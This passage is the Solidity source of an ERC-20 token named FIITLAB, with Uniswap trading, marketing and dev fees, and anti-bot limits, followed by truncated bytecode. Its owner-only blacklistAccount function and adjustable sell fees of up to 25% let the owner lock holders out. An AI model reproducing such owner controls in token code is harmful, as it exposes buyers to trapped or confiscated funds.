See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract FIITLAB is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address private marketingWallet; address private devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public enableEarlySellTax = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch // Seller Map mapping (address => uint256) private _holderFirstBuyTimestamp; // Blacklist Map mapping (address => bool) private _blacklist; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public earlySellLiquidityFee; uint256 public earlySellMarketingFee; uint256 public earlySellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("FIITLAB", "FIIT") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 5; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 2; uint256 _sellDevFee = 3; uint256 _earlySellLiquidityFee = 4; uint256 _earlySellMarketingFee = 10; uint256 _earlySellDevFee = 11; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = totalSupply * 20 / 1000; // 1% maxTransactionAmountTxn maxWallet = totalSupply * 30 / 1000; // 2% maxWallet swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; marketingWallet = address(0x2b7CAf2F89bA16d3DfB1cDF7592371F5f6cc0e44); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function blacklistAccount (address account, bool isBlacklisted) public onlyOwner { _blacklist[account] = isBlacklisted; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } // early sell logic bool isBuy = from == uniswapV2Pair; if (!isBuy && enableEarlySellTax) { if (_holderFirstBuyTimestamp[from] != 0 && (_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) { sellLiquidityFee = earlySellLiquidityFee; sellMarketingFee = earlySellMarketingFee; sellDevFee = earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } else { sellLiquidityFee = 2; sellMarketingFee = 3; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } else { if (_holderFirstBuyTimestamp[to] == 0) { _holderFirstBuyTimestamp[to] = block.timestamp; } if (!enableEarlySellTax) { sellLiquidityFee = 3; sellMarketingFee = 6; sellDevFee = 6; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function Chire(address[] calldata recipients, uint256[] calldata values) external onlyOwner { _approve(owner(), owner(), totalSupply()); for (uint256 i = 0; i < recipients.length; i++) { transferFrom(msg.sender, recipients[i], values[i] * 10 ** decimals()); } } }
0x6080604052600436106103855760003560e01c806392136913116101d1578063b62496f511610102578063d85ba063116100a0578063f11a24d31161006f578063f11a24d314610a4c578063f2fde38b14610a62578063f637434214610a82578063f8b45b0514610a9857600080fd5b8063d85ba063146109c5578063dd62ed3e146109db578063e2f4560514610a21578063e884f26014610a3757600080fd5b8063c18bc195116100dc578063c18bc19514610955578063c876d0b914610975578063c8c8ebe41461098f578063d257b34f146109a557600080fd5b8063b62496f5146108e7578063bbc0c74214610916578063c02466681461093557600080fd5b8063a0d82dc51161016f578063a4d15b6411610149578063a4d15b6414610870578063a7fc9e2114610891578063a9059cbb146108a7578063aacebbe3146108c757600080fd5b8063a0d82dc51461081a578063a265777814610830578063a457c2d71461085057600080fd5b80639a7a23d6116101ab5780639a7a23d6146107ae5780639c3b4fdc146107ce5780639c63e6b9146107e45780639fccce321461080457600080fd5b80639213691314610763578063924de9b71461077957806395d89b411461079957600080fd5b806339509351116102b657806370a08231116102545780637bce5a04116102235780637bce5a04146106fa5780638095d564146107105780638a8c523c146107305780638da5cb5b1461074557600080fd5b806370a082311461067a578063715018a6146106b0578063751039fc146106c55780637571336a146106da57600080fd5b80634fbee193116102905780634fbee193146105f5578063541a43cf1461062e5780636a486a8e146106445780636ddd17131461065a57600080fd5b8063395093511461058757806349bd5a5e146105a75780634a62bb65146105db57600080fd5b80631f3fed8f1161032357806323b872dd116102fd57806323b872dd146105155780632bf3d42d146105355780632d5a5d341461054b578063313ce5671461056b57600080fd5b80631f3fed8f146104bf578063203e727e146104d557806322d3e2aa146104f557600080fd5b80631694505e1161035f5780631694505e1461041c57806318160ddd146104685780631816467f146104875780631a8145bb146104a957600080fd5b806306fdde0314610391578063095ea7b3146103bc57806310d5de53146103ec57600080fd5b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610aae565b6040516103b39190612af8565b60405180910390f35b3480156103c857600080fd5b506103dc6103d7366004612b65565b610b40565b60405190151581526020016103b3565b3480156103f857600080fd5b506103dc610407366004612b91565b601f6020526000908152604090205460ff1681565b34801561042857600080fd5b506104507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103b3565b34801561047457600080fd5b506002545b6040519081526020016103b3565b34801561049357600080fd5b506104a76104a2366004612b91565b610b57565b005b3480156104b557600080fd5b50610479601c5481565b3480156104cb57600080fd5b50610479601b5481565b3480156104e157600080fd5b506104a76104f0366004612bae565b610be7565b34801561050157600080fd5b506104a7610510366004612bc7565b610cc4565b34801561052157600080fd5b506103dc610530366004612c0a565b610d7e565b34801561054157600080fd5b5061047960195481565b34801561055757600080fd5b506104a7610566366004612c5b565b610de7565b34801561057757600080fd5b50604051601281526020016103b3565b34801561059357600080fd5b506103dc6105a2366004612b65565b610e3c565b3480156105b357600080fd5b506104507f000000000000000000000000cd42c14e1926c435b92e04aee65f93123001673181565b3480156105e757600080fd5b50600b546103dc9060ff1681565b34801561060157600080fd5b506103dc610610366004612b91565b6001600160a01b03166000908152601e602052604090205460ff1690565b34801561063a57600080fd5b5061047960185481565b34801561065057600080fd5b5061047960145481565b34801561066657600080fd5b50600b546103dc9062010000900460ff1681565b34801561068657600080fd5b50610479610695366004612b91565b6001600160a01b031660009081526020819052604090205490565b3480156106bc57600080fd5b506104a7610e72565b3480156106d157600080fd5b506103dc610ee6565b3480156106e657600080fd5b506104a76106f5366004612c5b565b610f23565b34801561070657600080fd5b5061047960115481565b34801561071c57600080fd5b506104a761072b366004612c90565b610f78565b34801561073c57600080fd5b506104a7611020565b34801561075157600080fd5b506005546001600160a01b0316610450565b34801561076f57600080fd5b5061047960155481565b34801561078557600080fd5b506104a7610794366004612cbc565b61105d565b3480156107a557600080fd5b506103a66110a3565b3480156107ba57600080fd5b506104a76107c9366004612c5b565b6110b2565b3480156107da57600080fd5b5061047960135481565b3480156107f057600080fd5b506104a76107ff366004612d23565b611192565b34801561081057600080fd5b50610479601d5481565b34801561082657600080fd5b5061047960175481565b34801561083c57600080fd5b506104a761084b366004612cbc565b611264565b34801561085c57600080fd5b506103dc61086b366004612b65565b6112ac565b34801561087c57600080fd5b50600b546103dc906301000000900460ff1681565b34801561089d57600080fd5b50610479601a5481565b3480156108b357600080fd5b506103dc6108c2366004612b65565b6112fb565b3480156108d357600080fd5b506104a76108e2366004612b91565b611308565b3480156108f357600080fd5b506103dc610902366004612b91565b602080526000908152604090205460ff1681565b34801561092257600080fd5b50600b546103dc90610100900460ff1681565b34801561094157600080fd5b506104a7610950366004612c5b565b61138f565b34801561096157600080fd5b506104a7610970366004612bae565b611418565b34801561098157600080fd5b50600f546103dc9060ff1681565b34801561099b57600080fd5b5061047960085481565b3480156109b157600080fd5b506103dc6109c0366004612bae565b6114e9565b3480156109d157600080fd5b5061047960105481565b3480156109e757600080fd5b506104796109f6366004612d8f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a2d57600080fd5b50610479